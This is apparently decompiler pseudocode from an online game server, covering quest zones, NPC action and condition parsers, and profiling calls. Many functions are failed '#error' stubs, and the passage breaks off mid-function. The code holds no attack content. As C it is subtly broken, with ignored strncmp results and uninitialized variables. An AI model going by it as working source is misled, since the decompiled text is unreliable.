namestring.ns_point.value = v8; v9 = (char *)&namestring + 256 * v8; *(_QWORD *)v9 = *(_QWORD *)&sMapName; *((_DWORD *)v9 + 2) = *(_DWORD *)&sMapName.n3_name[8]; v9[12] = 0; strncpy(lnkinf.linktoclient, v9, 0xCu); if ( coord ) { v10 = *(_DWORD *)(coord + 4); lnkinf.coordx = *(_DWORD *)coord; LABEL_12: v16 = *(_DWORD *)v3; lnkinf.coordy = v10; lnkinf.direct = 0; (*(void (__thiscall **)(void *, NPCManager::LinkInformTemplete *, signed int, signed int, signed int))(v16 + 1472))( v3, &lnkinf, 6, 9, 10); goto LABEL_13; } v11 = *(_DWORD *)&sMapName.n3_name[4]; v12 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v12; v13 = (char *)&namestring + 256 * v12; *(_DWORD *)v13 = *(_DWORD *)&sMapName; *((_DWORD *)v13 + 2) = *(_DWORD *)&sMapName.n3_name[8]; *((_DWORD *)v13 + 1) = v11; v13[12] = 0; v14 = BTree::operator__(&mapdatabox.mdb_btree, v13); if ( v14 == -1 ) LOWORD(v14) = -1; v14 = (unsigned __int16)v14; if ( (unsigned __int16)v14 < mapdatabox.mdb_maxmapid ) { v15 = mapdatabox.mdb_index[v14]; if ( v15 ) { lnkinf.coordx = v15->RegenX; v10 = v15->RegenY; goto LABEL_12; } } } LABEL_13: --funcallanalizer.fca_stackpoint; v20 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShinePlayer::so_Prison_End"); __security_check_cookie(v19); } //----- (00542EB0) -------------------------------------------------------- void __thiscall FieldMap::fm_QuestPS_Start(void *this, char *filename, char *initflag) { void *v3; // esi@1 Movie::CinemaComplex *v4; // ecx@1 PineScriptToken initval; // [sp+0h] [bp-110h]@1 unsigned int v6; // [sp+100h] [bp-10h]@1 int v7; // [sp+10Ch] [bp-4h]@1 v3 = this; PineScriptToken::PineScriptToken(&initval, initflag); v4 = (Movie::CinemaComplex *)*((_DWORD *)v3 + 17); v7 = 0; Movie::CinemaComplex::cc_PlayFilm(v4, filename, &initval); v7 = -1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&initval); __security_check_cookie(v6); } //----- (00542F50) -------------------------------------------------------- #error "542F50: undefined or illegal type '#434' (funcsize=23)" //----- (00542FB0) -------------------------------------------------------- void __thiscall CQuestZone::_CQuestZone(CQuestZone *this) { CQuest *v1; // esi@1 v1 = (CQuest *)this; this->baseclass_0.vfptr = (CQuestVtbl *)CQuestZone::_vftable_; CQuestParserScript::_CQuestParserScript(&this->m_ScriptParser); CQuest::_CQuest(v1); } // 5E26D8: using guessed type int (__stdcall *CQuestZone___vftable_[2])(int sklidx); //----- (00543010) -------------------------------------------------------- #error "543010: undefined or illegal type '#434' (funcsize=3)" //----- (00543020) -------------------------------------------------------- char __thiscall QuestRewardPacket::qrp_StoreItem(QuestRewardPacket *this, unsigned __int16 itm, int lot) { int v3; // eax@1 char result; // al@2 v3 = this->qrp_ItemPoint; if ( (unsigned int)v3 < 0xA ) { this->qrp_Item[v3].id = itm; this->qrp_Item[this->qrp_ItemPoint++].lot = lot; result = 1; } else { result = 0; } return result; } //----- (00543050) -------------------------------------------------------- #error "543050: undefined or illegal type '#434' (funcsize=8)" //----- (00543070) -------------------------------------------------------- #error "543070: undefined or illegal type '#434' (funcsize=8)" //----- (00543090) -------------------------------------------------------- #error "543090: undefined or illegal type '#434' (funcsize=11)" //----- (005430B0) -------------------------------------------------------- #error "5430B0: undefined or illegal type '#434' (funcsize=8)" //----- (005430D0) -------------------------------------------------------- void __thiscall CQuestZone::InitNewPlayer(CQuestZone *this) { CQuestZone *v1; // esi@1 CQuestData *v2; // eax@1 QUEST_DATA_HEAD *v3; // eax@2 unsigned __int16 v4; // ax@6 int v5; // [sp-8h] [bp-18h]@3 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "CQuestZone::InitNewPlayer"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CQuestZone::InitNewPlayer"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = v1->baseclass_0.m_pQuestData; if ( v2 ) { v3 = v2->m_pDataHead; if ( v3 ) v5 = v3->NumOfQuest; else v5 = 0; } else { AssertClass::ac_AssertFail(&shineassert, "CQuestZone::InitNewPlayer : m_pQuestData NULL", 0); v1->baseclass_0.m_pQuestData = &gQuestData; if ( gQuestData.m_pDataHead ) v4 = gQuestData.m_pDataHead->NumOfQuest; else v4 = 0; v5 = v4; } CQuest::InitQuestBF(&v1->baseclass_0, v5); CQuest::ClearQuest(&v1->baseclass_0); v1->m_ParsingQuestID = -1; v1->m_bWaitResult = 0; v1->m_QuestClickNPC = -1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CQuestZone::InitNewPlayer"); } //----- (005431E0) -------------------------------------------------------- #error "5431E0: undefined or illegal type '#434' (funcsize=57)" //----- (005432E0) -------------------------------------------------------- #error "5432E0: undefined or illegal type '#434' (funcsize=94)" //----- (00543460) -------------------------------------------------------- #error "543460: undefined or illegal type '#434' (funcsize=375)" //----- (00543970) -------------------------------------------------------- #error "543970: undefined or illegal type '#434' (funcsize=88)" //----- (00543AB0) -------------------------------------------------------- #error "543AB0: undefined or illegal type '#434' (funcsize=160)" //----- (00543D00) -------------------------------------------------------- #error "543D00: undefined or illegal type '#434' (funcsize=101)" //----- (00543E80) -------------------------------------------------------- #error "543E80: undefined or illegal type '#434' (funcsize=69)" //----- (00543F90) -------------------------------------------------------- #error "543F90: undefined or illegal type '#434' (funcsize=110)" //----- (00544120) -------------------------------------------------------- #error "544120: undefined or illegal type '#434' (funcsize=96)" //----- (00544280) -------------------------------------------------------- #error "544280: undefined or illegal type '#434' (funcsize=83)" //----- (005443B0) -------------------------------------------------------- #error "5443B0: undefined or illegal type '#434' (funcsize=66)" //----- (005444B0) -------------------------------------------------------- #error "5444B0: undefined or illegal type '#434' (funcsize=84)" //----- (00544600) -------------------------------------------------------- #error "544600: undefined or illegal type '#434' (funcsize=82)" //----- (00544740) -------------------------------------------------------- #error "544740: undefined or illegal type '#434' (funcsize=72)" //----- (00544870) -------------------------------------------------------- #error "544870: undefined or illegal type '#434' (funcsize=82)" //----- (005449B0) -------------------------------------------------------- #error "5449B0: undefined or illegal type '#434' (funcsize=62)" //----- (00544AB0) -------------------------------------------------------- #error "544AB0: undefined or illegal type '#434' (funcsize=70)" //----- (00544BE0) -------------------------------------------------------- #error "544BE0: undefined or illegal type '#434' (funcsize=70)" //----- (00544D10) -------------------------------------------------------- #error "544D10: undefined or illegal type '#434' (funcsize=70)" //----- (00544E40) -------------------------------------------------------- #error "544E40: undefined or illegal type '#434' (funcsize=74)" //----- (00544F80) -------------------------------------------------------- #error "544F80: undefined or illegal type '#434' (funcsize=52)" //----- (00545060) -------------------------------------------------------- #error "545060: undefined or illegal type '#434' (funcsize=70)" //----- (00545190) -------------------------------------------------------- #error "545190: undefined or illegal type '#434' (funcsize=84)" //----- (005452C0) -------------------------------------------------------- #error "5452C0: undefined or illegal type '#434' (funcsize=76)" //----- (005453D0) -------------------------------------------------------- #error "5453D0: undefined or illegal type '#434' (funcsize=76)" //----- (005454E0) -------------------------------------------------------- #error "5454E0: undefined or illegal type '#434' (funcsize=98)" //----- (00545640) -------------------------------------------------------- #error "545640: undefined or illegal type '#434' (funcsize=65)" //----- (00545760) -------------------------------------------------------- #error "545760: undefined or illegal type '#434' (funcsize=69)" //----- (00545870) -------------------------------------------------------- #error "545870: undefined or illegal type '#434' (funcsize=69)" //----- (00545980) -------------------------------------------------------- #error "545980: undefined or illegal type '#434' (funcsize=119)" //----- (00545B60) -------------------------------------------------------- #error "545B60: undefined or illegal type '#434' (funcsize=181)" //----- (00545DE0) -------------------------------------------------------- #error "545DE0: undefined or illegal type '#434' (funcsize=76)" //----- (00545F00) -------------------------------------------------------- #error "545F00: undefined or illegal type '#434' (funcsize=55)" //----- (00546000) -------------------------------------------------------- #error "546000: undefined or illegal type '#434' (funcsize=118)" //----- (005461B0) -------------------------------------------------------- #error "5461B0: undefined or illegal type '#434' (funcsize=101)" //----- (00546320) -------------------------------------------------------- #error "546320: undefined or illegal type '#434' (funcsize=10)" //----- (00546340) -------------------------------------------------------- #error "546340: undefined or illegal type '#325' (funcsize=193)" //----- (005465B0) -------------------------------------------------------- #error "5465B0: undefined or illegal type '#434' (funcsize=294)" //----- (00546A00) -------------------------------------------------------- #error "546A00: undefined or illegal type '#434' (funcsize=752)" //----- (005475F0) -------------------------------------------------------- #error "5475F0: undefined or illegal type '#434' (funcsize=246)" //----- (00547980) -------------------------------------------------------- #error "547980: undefined or illegal type '#434' (funcsize=105)" //----- (00547B30) -------------------------------------------------------- #error "547B30: undefined or illegal type '#434' (funcsize=116)" //----- (00547CD0) -------------------------------------------------------- #error "547CD0: undefined or illegal type '#434' (funcsize=50)" //----- (00547DC0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_Return2Quest(void *this, unsigned int returnvalue) { void *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_Return2Quest"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_Return2Quest"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; CQuestZone::PsEnd((CQuestZone *)((char *)v2 + 66032), returnvalue); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_Return2Quest"); } //----- (00547E60) -------------------------------------------------------- #error "547E60: undefined or illegal type '#434' (funcsize=69)" //----- (00547F80) -------------------------------------------------------- #error "547F80: undefined or illegal type '#434' (funcsize=91)" //----- (005480E0) -------------------------------------------------------- #error "5480E0: undefined or illegal type '#434' (funcsize=123)" //----- (00548280) -------------------------------------------------------- void __thiscall NPCAction::ActionGen_OptionReader::ActionGen_OptionReader(NPCAction::ActionGen_OptionReader *this, OptionReader *optionReader) { this->optionReader_ = optionReader; this->currentRow_ = 0; } //----- (005482A0) -------------------------------------------------------- #error "5482A0: undefined or illegal type '#325' (funcsize=6)" //----- (005482C0) -------------------------------------------------------- #error "5482C0: undefined or illegal type '#325' (funcsize=7)" //----- (005482E0) -------------------------------------------------------- #error "5482E0: undefined or illegal type '#325' (funcsize=24)" //----- (00548320) -------------------------------------------------------- #error "548320: undefined or illegal type '#325' (funcsize=11)" //----- (00548340) -------------------------------------------------------- void __thiscall NPCAction::SkillAction::SkillAction(NPCAction::SkillAction *this, const unsigned __int16 skillID) { NPCAction::SkillAction *v2; // esi@1 SkillDataBox::SkillDataIndex *v3; // eax@1 v2 = this; this->baseclass_0.vfptr = (NPCAction::IActionVtbl *)&NPCAction::SkillAction::_vftable_; v3 = SkillDataBox::operator__(&skilldatabox, skillID); v2->skillIndex_ = v3; if ( v3 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "SkillAction::SkillAction : Invalid skill index", v3 != 0); ShineExit("SkillAction::SkillAction"); } } // 5E3830: using guessed type int (__thiscall *NPCAction__SkillAction___vftable_)(void *p, char); //----- (005483C0) -------------------------------------------------------- #error "5483C0: undefined or illegal type '#325' (funcsize=12)" //----- (005483E0) -------------------------------------------------------- #error "5483E0: undefined or illegal type '#325' (funcsize=32)" //----- (00548440) -------------------------------------------------------- #error "548440: undefined or illegal type '#325' (funcsize=44)" //----- (005484C0) -------------------------------------------------------- void *__thiscall NPCAction::GTItemAction::_scalar_deleting_destructor_(NPCAction::GTItemAction *this, unsigned int a2) { void *v2; // esi@1 v2 = this; NPCAction::DieAction::_DieAction((SlantedCoordList::ObjectYCoordNode *)this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (005484E0) -------------------------------------------------------- unsigned int __thiscall NPCAction::ActionGen_OptionReader::size(NPCAction::ActionGen_OptionReader *this) { const char *v1; // edx@1 OptionReader **v2; // esi@1 ORToken v4; // [sp-18h] [bp-1Ch]@3 int v5; // [sp-14h] [bp-18h]@3 int v6; // [sp-10h] [bp-14h]@3 int v7; // [sp-Ch] [bp-10h]@3 int v8; // [sp-8h] [bp-Ch]@3 NPCAction::ActionGen_OptionReader *v9; // [sp+0h] [bp-4h]@1 v9 = this; v1 = *(const char **)&NPCAction::ActionGen_OptionReader::tableName_._Bx._Buf[0]; v2 = (OptionReader **)this; if ( NPCAction::ActionGen_OptionReader::tableName_._Myres < 0x10 ) v1 = (const char *)&NPCAction::ActionGen_OptionReader::tableName_._Bx; v9 = (NPCAction::ActionGen_OptionReader *)&v4; v8 = 0; v7 = 0; v6 = 0; v5 = 0; *(_DWORD *)&v4.ort_Name[0] = 0; strncpy(v4.ort_Name, v1, 0x14u); return OptionReader::or_SelectCountFrom(*v2, v4); } //----- (00548530) -------------------------------------------------------- #error "548530: undefined or illegal type '#325' (funcsize=14)" //----- (00548560) -------------------------------------------------------- void __thiscall NPCAction::NoticeAction::NoticeAction(NPCAction::NoticeAction *this, const char *content) { NPCAction::NoticeAction *v2; // ST14_4@1 char *v3; // ecx@1 v2 = this; v3 = (char *)&this->content_; v2->baseclass_0.vfptr = (NPCAction::IActionVtbl *)&NPCAction::NoticeAction::_vftable_; *((_DWORD *)v3 + 6) = 15; *((_DWORD *)v3 + 5) = 0; v3[4] = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)v3, content, strlen(content)); } // 5E3858: using guessed type int (__thiscall *NPCAction__NoticeAction___vftable_)(void *p, char); //----- (005485E0) -------------------------------------------------------- void *__thiscall NPCAction::NoticeAction::_scalar_deleting_destructor_(NPCAction::NoticeAction *this, unsigned int a2) { void *v2; // esi@1 v2 = this; NPCAction::NoticeAction::_NoticeAction(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (00548600) -------------------------------------------------------- void __thiscall NPCAction::NoticeAction::_NoticeAction(NPCAction::NoticeAction *this) { NPCAction::NoticeAction *v1; // esi@1 v1 = this; if ( this->content_._Myres >= 0x10 ) operator delete(*(void **)&this->content_._Bx._Buf[0]); v1->content_._Myres = 15; v1->content_._Mysize = 0; v1->content_._Bx._Buf[0] = 0; v1->baseclass_0.vfptr = (NPCAction::IActionVtbl *)NPCAction::IAction::_vftable_; } // 5DAF1C: using guessed type int (*NPCAction__IAction___vftable_[6])(); //----- (00548630) -------------------------------------------------------- NPCAction::IAction *__thiscall NPCAction::ActionGen_OptionReader::operator__(NPCAction::ActionGen_OptionReader *this) { NPCAction::ActionGen_OptionReader *v1; // edi@1 int v2; // eax@1 const char *v3; // ecx@1 void *v4; // eax@3 void *v5; // esi@3 int v6; // eax@4 unsigned int v7; // eax@5 AbnormalStateDictionary::AbState::AbStateStr *v8; // esi@8 NPCAction::IAction *result; // eax@11 NPCAction::IActionVtbl *v10; // ecx@12 int v11; // eax@13 int v12; // eax@16 char v13; // cl@18 int v14; // eax@19 unsigned int v15; // eax@20 unsigned __int16 v16; // si@20 AbnormalStateDictionary::AbState::AbStateStr *v17; // esi@22 NPCAction::IActionVtbl *v18; // ecx@25 int v19; // eax@26 unsigned int v20; // eax@27 const unsigned __int16 v21; // si@27 void *v22; // eax@29 int v23; // eax@31 void *v24; // eax@32 int v25; // eax@34 int v26; // eax@37 ORToken v27; // [sp-18h] [bp-34h]@3 int v28; // [sp-14h] [bp-30h]@3 int v29; // [sp-10h] [bp-2Ch]@3 int v30; // [sp-Ch] [bp-28h]@3 int v31; // [sp-8h] [bp-24h]@3 int v32; // [sp-4h] [bp-20h]@1 void *v33; // [sp+Ch] [bp-10h]@3 int v34; // [sp+18h] [bp-4h]@29 v1 = this; v2 = this->currentRow_; v3 = *(const char **)&NPCAction::ActionGen_OptionReader::tableName_._Bx._Buf[0]; v32 = v2; if ( NPCAction::ActionGen_OptionReader::tableName_._Myres < 0x10 ) v3 = (const char *)&NPCAction::ActionGen_OptionReader::tableName_._Bx; v33 = &v27; v31 = 0; v30 = 0; v29 = 0; v28 = 0; *(_DWORD *)&v27.ort_Name[0] = 0; strncpy(v27.ort_Name, v3, 0x14u); v4 = OptionReader::or_SelectFromOrder(v1->optionReader_, v27, v32); v5 = v4; if ( v4 ) { ++v1->currentRow_; strncmp("Dispell", (char *)v4 + 1, 0x21u); if ( v6 ) { strncmp("Link", (char *)v5 + 1, 0x21u); if ( v11 ) { strncmp("Emotion", (char *)v5 + 1, 0x21u); if ( v12 ) { strncmp("AbState", (char *)v5 + 1, 0x21u); if ( v14 ) { strncmp("Skill", (char *)v5 + 1, 0x21u); if ( v19 ) { strncmp("Notice", (char *)v5 + 1, 0x21u); if ( v23 ) { strncmp("Die", (char *)v5 + 1, 0x21u); if ( v25 ) { strncmp("GTIEffect", (char *)v5 + 1, 0x21u); if ( v26 ) { AssertClass::ac_AssertFail( &shineassert, "ActionGen_OptionReader : Unsupported Action", (const char *)v5 + 1); ShineExit("ActionGen_OptionReader : Unsupported Action"); } result = (NPCAction::IAction *)operator new(4u); if ( result ) { result->vfptr = (NPCAction::IActionVtbl *)&NPCAction::GTItemAction::_vftable_; return result; } } else { result = (NPCAction::IAction *)operator new(4u); if ( result ) { result->vfptr = (NPCAction::IActionVtbl *)&NPCAction::DieAction::_vftable_; return result; } } } else { v24 = operator new(0x20u); v33 = v24; v34 = 1; if ( v24 ) { NPCAction::NoticeAction::NoticeAction((NPCAction::NoticeAction *)result, (const char *)v5 + 34); return result; } } } else { v20 = BTree::operator__(&skillnametree, (const char *)v5 + 34); v21 = v20; v30 = v20 != -1; if ( AssertClass::operator__(&shineassert, v30, "ActionGen_OptionReader : Invalid Skill", 0) ) ShineExit("ActionGen_OptionReader"); v22 = operator new(8u); v33 = v22; v34 = 0; if ( v22 ) { NPCAction::SkillAction::SkillAction((NPCAction::SkillAction *)result, v21); return result; } } } else { v15 = BTree::operator__(&unk_6158F0, (const char *)v5 + 34); v16 = v15; v30 = v15 != -1; if ( AssertClass::operator__(&shineassert, v30, "ActionGen_OptionReader-Abstate : Invalid ABState", 0) ) ShineExit("ActionGen_OptionReader"); v17 = AbnormalStateDictionary::AbState::as_FromID(&dic_abstate, v16); v30 = v17 != 0; if ( AssertClass::operator__(&shineassert, v30, "ActionGen_OptionReader-Abstate : Invalid ABState", 0) ) ShineExit("ActionGen_OptionReader"); result = (NPCAction::IAction *)operator new(8u); if ( result ) { v18 = (NPCAction::IActionVtbl *)v17->index->AbStataIndex; result->vfptr = (NPCAction::IActionVtbl *)&NPCAction::AbStateAction::_vftable_; result[1].vfptr = v18; return result; } } } else { result = (NPCAction::IAction *)operator new(8u); if ( result ) { v13 = *((_BYTE *)v5 + 67); result->vfptr = (NPCAction::IActionVtbl *)&NPCAction::EmotionlAction::_vftable_; LOBYTE(result[1].vfptr) = v13; return result; } } } else { result = (NPCAction::IAction *)operator new(4u); if ( result ) { result->vfptr = (NPCAction::IActionVtbl *)&NPCAction::InteractAction::_vftable_; return result; } } } else { v7 = BTree::operator__(&unk_6158F0, (const char *)v5 + 34); if ( v7 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ActionGen_OptionReader-Dispell : Invalid ABState", 0); ShineExit("ActionGen_OptionReader"); } v8 = AbnormalStateDictionary::AbState::as_FromID(&dic_abstate, v7); if ( v8 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "ActionGen_OptionReader-Dispell : Invalid ABState", 0); ShineExit("ActionGen_OptionReader"); } result = (NPCAction::IAction *)operator new(8u); if ( result ) { v10 = (NPCAction::IActionVtbl *)v8->index->AbStataIndex; result->vfptr = (NPCAction::IActionVtbl *)&NPCAction::DispelAction::_vftable_; result[1].vfptr = v10; return result; } } } return 0; } // 5E37CC: using guessed type int (__thiscall *NPCAction__DispelAction___vftable_)(void *p, char); // 5E37D4: using guessed type int (__thiscall *NPCAction__EmotionlAction___vftable_)(void *p, char); // 5E37DC: using guessed type int (__thiscall *NPCAction__AbStateAction___vftable_)(void *p, char); // 5E3838: using guessed type int (__thiscall *NPCAction__DieAction___vftable_)(void *p, char); // 5E3840: using guessed type int (__thiscall *NPCAction__GTItemAction___vftable_)(void *p, char); // 5E3848: using guessed type int (__thiscall *NPCAction__InteractAction___vftable_)(void *p, char); //----- (00548A30) -------------------------------------------------------- void __thiscall NPCAction::ICondition::ICondition(NPCAction::ICondition *this) { this->baseclass_0.vfptr = (IObserverVtbl *)NPCAction::ICondition::_vftable_; } // 5E3978: using guessed type int (*NPCAction__ICondition___vftable_[4])(); //----- (00548A40) -------------------------------------------------------- #error "548A40: undefined or illegal type '#325' (funcsize=54)" //----- (00548AD0) -------------------------------------------------------- bool __thiscall NPCAction::NoneCondition::needToAttach(NPCAction::NoneCondition *this) { return this->termLow_ || this->termHigh_; } //----- (00548AF0) -------------------------------------------------------- void __thiscall NPCAction::ABStateCondition::ABStateCondition(NPCAction::ABStateCondition *this, ABSTATEINDEX index, const unsigned int termLow, const unsigned int termHigh) { this->index_ = index; this->termLow_ = 10 * termLow / 0x3E8; this->baseclass_0.baseclass_0.vfptr = (IObserverVtbl *)&NPCAction::ABStateCondition::_vftable_; this->termHigh_ = 10 * termHigh / 0x3E8; } // 5E3998: using guessed type int (__thiscall *NPCAction__ABStateCondition___vftable_)(void *p, char); //----- (00548B30) -------------------------------------------------------- #error "548B30: undefined or illegal type '#325' (funcsize=52)" //----- (00548BE0) -------------------------------------------------------- void __thiscall NPCAction::SkillCondition::SkillCondition(NPCAction::SkillCondition *this, const unsigned __int16 skillID, const unsigned int termLow, const unsigned int termHigh) { this->skillID_ = skillID; this->termLow_ = 10 * termLow / 0x3E8; this->baseclass_0.baseclass_0.vfptr = (IObserverVtbl *)&NPCAction::SkillCondition::_vftable_; this->termHigh_ = 10 * termHigh / 0x3E8; } // 5E39C8: using guessed type int (__thiscall *NPCAction__SkillCondition___vftable_)(void *p, char); //----- (00548C20) -------------------------------------------------------- #error "548C20: undefined or illegal type '#325' (funcsize=52)" //----- (00548CB0) -------------------------------------------------------- #error "548CB0: undefined or illegal type '#325' (funcsize=21)" //----- (00548CF0) -------------------------------------------------------- void __thiscall NPCAction::EmotionCondition::EmotionCondition(NPCAction::EmotionCondition *this, const char emoticonID, const unsigned int termLow, const unsigned int termHigh) { this->emoticonID_ = emoticonID; this->termLow_ = 10 * termLow / 0x3E8; this->baseclass_0.baseclass_0.vfptr = (IObserverVtbl *)&NPCAction::EmotionCondition::_vftable_; this->termHigh_ = 10 * termHigh / 0x3E8; } // 5E39D8: using guessed type int (__thiscall *NPCAction__EmotionCondition___vftable_)(void *p, char); //----- (00548D30) -------------------------------------------------------- #error "548D30: undefined or illegal type '#325' (funcsize=52)" //----- (00548DC0) -------------------------------------------------------- void __thiscall NPCAction::DeadCondition::DeadCondition(NPCAction::DeadCondition *this) { NPCAction::DeadCondition *v1; // esi@1 v1 = this; NPCAction::ICondition::ICondition(&this->baseclass_0); v1->baseclass_0.baseclass_0.vfptr = (IObserverVtbl *)&NPCAction::DeadCondition::_vftable_; } // 5E39F8: using guessed type int (__thiscall *NPCAction__DeadCondition___vftable_)(void *p, char); //----- (00548DE0) -------------------------------------------------------- void *__thiscall NPCAction::GT_TeamCondition::_scalar_deleting_destructor_(NPCAction::GT_TeamCondition *this, unsigned int a2) { void *v2; // esi@1 v2 = this; NPCAction::ABStateCondition::_ABStateCondition(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (00548E00) -------------------------------------------------------- bool __thiscall NPCAction::NoneCondition::check(NPCAction::NoneCondition *this) { NPCAction::NoneCondition *v1; // esi@1 bool v2; // bl@3 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "NoneCondition::check"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "NoneCondition::check"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = !v1->termLow_ && !v1->termHigh_; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "NoneCondition::check"); return v2; } //----- (00548E70) -------------------------------------------------------- bool __thiscall NPCAction::ABStateCondition::check(NPCAction::ABStateCondition *this) { NPCAction::ABStateCondition *v1; // esi@1 bool v2; // bl@1 int v4; // [sp+14h] [bp+4h]@0 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AbStateCondition::check"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbStateCondition::check"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = (*(int (__stdcall **)(ABSTATEINDEX))(*(_DWORD *)v4 + 988))(v1->index_) != 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AbStateCondition::check"); return v2; } //----- (00548F20) -------------------------------------------------------- bool __thiscall NPCAction::LvGapCondition::check(NPCAction::LvGapCondition *this) { NPCAction::LvGapCondition *v1; // esi@1 unsigned __int8 v2; // al@1 const char v3; // cl@1 const char v4; // dl@2 char v5; // bl@3 bool result; // al@5 int v7; // [sp+14h] [bp+4h]@0 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "LvGapCondition::check"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "LvGapCondition::check"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = (*(int (**)(void))(*(_DWORD *)v7 + 1220))(); v3 = v1->low_; if ( v3 > v2 ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "LvGapCondition::check"); result = 0; } else { v4 = v1->high_; if ( v4 >= (unsigned __int8)v3 ) v5 = v4 >= v2; else v5 = 1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "LvGapCondition::check"); result = v5; } return result; } //----- (00549010) -------------------------------------------------------- bool __thiscall NPCAction::ClassCondition::check(NPCAction::ClassCondition *this) { NPCAction::ClassCondition *v1; // edi@1 bool v2; // bl@1 int v3; // esi@1 int v5; // [sp+14h] [bp+4h]@0 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ClassCondition::check"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ClassCondition::check"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = 0; v3 = (*(int (**)(void))(*(_DWORD *)v5 + 1160))(); if ( (unsigned __int8)(*(int (__thiscall **)(int, _DWORD))(*(_DWORD *)v3 + 68))(v3, v1->classID_) || (*(int (__thiscall **)(int))(*(_DWORD *)v3 + 40))(v3) == v1->classID_ ) v2 = 1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ClassCondition::check"); return v2; } //----- (005490E0) -------------------------------------------------------- void __thiscall NPCAction::ABStateCondition::_ABStateCondition(NPCAction::GT_TeamCondition *this) { this->baseclass_0.baseclass_0.vfptr = (IObserverVtbl *)NPCAction::ICondition::_vftable_; IObserver::_IObserver((ItemSmallBag *)this); } // 5E3978: using guessed type int (*NPCAction__ICondition___vftable_[4])(); //----- (005490F0) -------------------------------------------------------- unsigned int __thiscall NPCAction::CondGen_OptionReader::size(NPCAction::CondGen_OptionReader *this) { const char *v1; // edx@1 OptionReader **v2; // esi@1 ORToken v4; // [sp-18h] [bp-1Ch]@3 int v5; // [sp-14h] [bp-18h]@3 int v6; // [sp-10h] [bp-14h]@3 int v7; // [sp-Ch] [bp-10h]@3 int v8; // [sp-8h] [bp-Ch]@3 NPCAction::CondGen_OptionReader *v9; // [sp+0h] [bp-4h]@1 v9 = this; v1 = *(const char **)&NPCAction::CondGen_OptionReader::tableName_._Bx._Buf[0]; v2 = (OptionReader **)this; if ( NPCAction::CondGen_OptionReader::tableName_._Myres < 0x10 ) v1 = (const char *)&NPCAction::CondGen_OptionReader::tableName_._Bx; v9 = (NPCAction::CondGen_OptionReader *)&v4; v8 = 0; v7 = 0; v6 = 0; v5 = 0; *(_DWORD *)&v4.ort_Name[0] = 0; strncpy(v4.ort_Name, v1, 0x14u); return OptionReader::or_SelectCountFrom(*v2, v4); } //----- (00549140) -------------------------------------------------------- NPCAction::ICondition *__thiscall NPCAction::CondGen_OptionReader::createCondition_(NPCAction::CondGen_OptionReader *this, const char *condition, const char *type, unsigned int x, unsigned int y, NPCAction::CondGen_OptionReader::ConditionData_ *row, unsigned int low, unsigned int high) { char *v8; // edi@1 int v9; // eax@1 char *v10; // ebp@2 unsigned int v11; // ebx@3 int v12; // eax@3 int v13; // eax@6 unsigned int v14; // eax@7 AbnormalStateDictionary::AbState::AbStateStr *v15; // esi@10 void *v16; // eax@13 NPCAction::ICondition *result; // eax@14 int v18; // eax@15 int v19; // eax@18 unsigned int i; // edi@19 void *v21; // eax@22 void *v22; // esi@22 int v23; // eax@22 char v24; // cl@25 int v25; // eax@28 unsigned int v26; // eax@29 const unsigned __int16 v27; // si@29 void *v28; // eax@31 int v29; // eax@33 void *v30; // eax@34 int v31; // eax@36 void *v32; // eax@37 int v33; // eax@39 int v34; // eax@40 int v35; // eax@41 void *v36; // ecx@45 v8 = (char *)condition; strncmp("Term", (char *)condition, 0x21u); if ( v9 ) { LOBYTE(v11) = y; v10 = (char *)type; } else { v10 = row->TypeB; v8 = row->ConditionB; do { v11 = row->BY; high = row->AY; low = row->AX; x = row->BX; strncmp("Term", v8, 0x21u); } while ( !v12 ); } strncmp("AbState", v8, 0x21u); if ( v13 ) { strncmp("LvGap", 